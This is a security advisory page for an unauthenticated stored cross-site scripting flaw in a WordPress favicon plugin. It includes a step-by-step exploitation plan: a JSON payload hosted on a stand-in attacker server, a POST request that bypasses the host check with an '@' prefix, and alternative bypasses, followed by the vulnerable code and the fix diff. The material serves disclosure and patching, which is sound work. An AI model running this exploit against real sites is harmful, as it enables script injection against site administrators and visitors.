CVE-2026-42754

Favicon by RealFaviconGenerator <= 1.3.46 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.3.47
Patched in
3d
Time to patch

Description

The Favicon by RealFaviconGenerator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.46 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.46
PublishedMay 30, 2026
Last updatedJune 1, 2026

What Changed in the Fix

Changes introduced in v1.3.47

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-42754 This document provides a technical plan for a Proof-of-Concept (PoC) exploit against the **Favicon by RealFaviconGenerator** plugin (<= 1.3.46). ## 1. Vulnerability Summary The plugin is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)*…

Show full research plan

Exploitation Research Plan: CVE-2026-42754

This document provides a technical plan for a Proof-of-Concept (PoC) exploit against the Favicon by RealFaviconGenerator plugin (<= 1.3.46).

1. Vulnerability Summary

The plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the install_new_favicon AJAX handler. This handler is registered with wp_ajax_nopriv_, meaning it is accessible to unauthenticated users. It fetches a JSON payload from a user-supplied URL, parses it, and stores the html_code property into the WordPress database without sufficient sanitization. This stored script is then executed in the context of any user (including administrators) viewing the favicon settings or the site's head section.

2. Attack Vector Analysis

  • Vulnerable AJAX Action: fbrfg_install_new_favicon (derived from Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX + install_new_favicon).
  • Endpoint: POST /wp-admin/admin-ajax.php
  • Vulnerable Parameter: json_result_url
  • Authentication Required: None (Unauthenticated).
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Entry Point: The plugin registers an unauthenticated AJAX hook in admin/class-favicon-by-realfavicongenerator-admin.php:
    add_action( 'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon', array( $this, 'install_new_favicon' ) );
    
  2. Input Fetching: In install_new_favicon(), the plugin retrieves $_REQUEST['json_result_url'].
  3. URL Reconstruction (Bypass Logic):
    $url = 'https://realfavicongenerator.net' . preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
    
    An attacker can bypass the domain restriction using the @ symbol (e.g., json_result_url=@attacker.com/evil.json), which forces the client to treat realfavicongenerator.net as a username and attacker.com as the actual host.
  4. Data Retrieval: The plugin calls download_result_json($url), which uses wp_remote_get() to fetch the JSON from the attacker-controlled server.
  5. Storage (Sink): The plugin (in the truncated logic of install_new_favicon) extracts the html_code from the JSON response and stores it using update_option().
  6. Execution: The stored HTML/Script is rendered in the <head> section via the admin_head hook or frontend hooks registered in Favicon_By_RealFaviconGenerator_Admin.

4. Nonce Acquisition Strategy

According to the source code in admin/class-favicon-by-realfavicongenerator-admin.php, the install_new_favicon function does not perform any nonce verification (check_ajax_referer or wp_verify_nonce) at the start of the function. Furthermore, it is registered as a nopriv action specifically to allow external callbacks.

Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

Step 1: Prepare the Malicious Payload

Host a file named exploit.json on a server accessible to the WordPress instance.
Payload Content (exploit.json):

{
  "favicon_generation_result": {
    "favicon": {
      "html_code": "<script>alert('CVE-2026-42754-Stored-XSS');</script>"
    }
  }
}

Step 2: Trigger the Vulnerability

Send a request to the AJAX endpoint using the http_request tool.

  • Method: POST
  • URL: http://[target-ip]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fbrfg_install_new_favicon&json_result_url=@attacker-server.com/exploit.json
    

Step 3: Verify the Injection

Navigate to the site's homepage or the admin dashboard. The script should execute.

6. Test Data Setup

  1. Plugin Installation: Ensure favicon-by-realfavicongenerator version 1.3.46 is installed and active.
  2. External Server: The PoC agent must have a way to simulate an external server (e.g., using a mock endpoint or an internal listener).

7. Expected Results

  • The AJAX request should return a 200 OK or a JSON success message (or a 500/error if the later part of the function fails, but the storage usually happens early).
  • The WordPress option fbrfg_favicon_markups (inferred name) will now contain the <script> tag.
  • Upon visiting the homepage, the browser should trigger the alert().

8. Verification Steps

After executing the HTTP request, verify the database state using WP-CLI:

# Check if the malicious payload is stored in options
wp option get fbrfg_favicon_markups

(Note: The exact option name might be fbrfg_favicon_markups or favicon_by_realfavicongenerator_settings. Check the public/class-favicon-by-realfavicongenerator-common.php if available to confirm).

9. Alternative Approaches

If the @ symbol bypass is filtered by the server's cURL configuration:

  1. Open Redirect: If realfavicongenerator.net has an open redirect, use json_result_url=/redirect?url=http://attacker.com/exploit.json.
  2. Parameter Injection: Try passing json_result_url as a full URL if esc_url_raw fails to prepend the domain under certain PHP configurations.
  3. Double Encoding: Try double-encoding the @ or path characters if a WAF is present.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Favicon by RealFaviconGenerator plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient validation of the 'json_result_url' parameter in the 'install_new_favicon' AJAX handler. An attacker can use the '@' symbol bypass to trick the plugin into fetching a malicious JSON payload from an external server, which is then stored in the database and executed in the browser context of any user visiting the site.

Vulnerable Code

// admin/class-favicon-by-realfavicongenerator-admin.php line 80
add_action(
	'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
	array( $this, 'install_new_favicon' )
);

---

// admin/class-favicon-by-realfavicongenerator-admin.php line 186
public function install_new_favicon() {
	header( 'Content-type: application/json' );

	try {
		// URL is explicitely decoded to compensate the extra encoding performed while generating the settings page
		$url = 'https://realfavicongenerator.net' .
		  preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/favicon-by-realfavicongenerator/1.3.46/admin/class-favicon-by-realfavicongenerator-admin.php /home/deploy/wp-safety.org/data/plugin-versions/favicon-by-realfavicongenerator/1.3.47/admin/class-favicon-by-realfavicongenerator-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/favicon-by-realfavicongenerator/1.3.46/admin/class-favicon-by-realfavicongenerator-admin.php	2024-03-08 11:58:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/favicon-by-realfavicongenerator/1.3.47/admin/class-favicon-by-realfavicongenerator-admin.php	2026-05-09 07:22:12.000000000 +0000
@@ -169,6 +169,33 @@
 		'appearance.php';
 	}
 
+	private function build_json_result_url() {
+		// RFG is configured with path_only=true, so json_result_url is a path
+		// like /files/<hash>/json.json. We accept that, and also tolerate a
+		// full URL provided the host is realfavicongenerator.net. Any other
+		// host (including userinfo tricks like http://@attacker/poc.json,
+		// where realfavicongenerator.net would otherwise become the userinfo)
+		// is rejected.
+		$raw   = esc_url_raw( wp_unslash( $_REQUEST['json_result_url'] ) );
+		$parts = wp_parse_url( $raw );
+		if ( ! is_array( $parts ) ) {
+			throw new InvalidArgumentException( 'Invalid favicon result URL' );
+		}
+		if ( ! empty( $parts['host'] ) &&
+			strtolower( $parts['host'] ) !== 'realfavicongenerator.net' ) {
+			throw new InvalidArgumentException( 'Invalid favicon result URL' );
+		}
+		if ( ! empty( $parts['scheme'] ) &&
+			! in_array( strtolower( $parts['scheme'] ), array( 'http', 'https' ), true ) ) {
+			throw new InvalidArgumentException( 'Invalid favicon result URL' );
+		}
+
+		$path  = isset( $parts['path'] ) ? $parts['path'] : '/';
+		$query = isset( $parts['query'] ) ? '?' . $parts['query'] : '';
+
+		return 'https://realfavicongenerator.net' . $path . $query;
+	}
+
 	private function download_result_json( $url ) {
 		$resp = wp_remote_get( $url );
 		if ( is_wp_error( $resp ) ) {
@@ -186,12 +213,21 @@
 	public function install_new_favicon() {
 		header( 'Content-type: application/json' );
 
+		// Verify the nonce BEFORE doing anything that touches the
+		// json_result_url parameter. Otherwise an attacker who tricks
+		// an admin into opening a crafted URL could trigger the SSRF
+		// path and reflect attacker-controlled error messages.
+		$nonce = isset( $_REQUEST['_wpnonce'] ) ? $_REQUEST['_wpnonce'] : '';
+		if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) {
+			echo wp_json_encode( array(
+				'status'  => 'error',
+				'message' => __( 'Nonce check failed', FBRFG_PLUGIN_SLUG ),
+			) );
+			die();
+		}
+
 		try {
-			// URL is explicitely decoded to compensate the extra encoding performed while generating the settings page
-			$url = 'https://realfavicongenerator.net' .
-			  preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
-				// esc_url_raw is used to sanitize the path. This functio adds a 'http://' prefix, which is then removed.
-				// This code cannot be moved to a helper, as phpcs won't detect it and report an issue.
+			$url = $this->build_json_result_url();
 
 			$result = $this->download_result_json( $url );

Exploit Outline

The exploit targets the unauthenticated AJAX endpoint 'wp-admin/admin-ajax.php' with the action 'fbrfg_install_new_favicon'. An attacker provides a 'json_result_url' parameter starting with an '@' symbol (e.g., '@attacker.com/malicious.json') to bypass the intended host restriction by exploiting how the URL is reconstructed. On the attacker's server, a JSON file is hosted with a 'favicon_generation_result' structure where the 'html_code' field contains a malicious JavaScript payload. The plugin fetches this JSON, parses it, and saves the malicious HTML into the WordPress database. This stored script is then rendered in the <head> section of all site pages, resulting in site-wide stored XSS.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.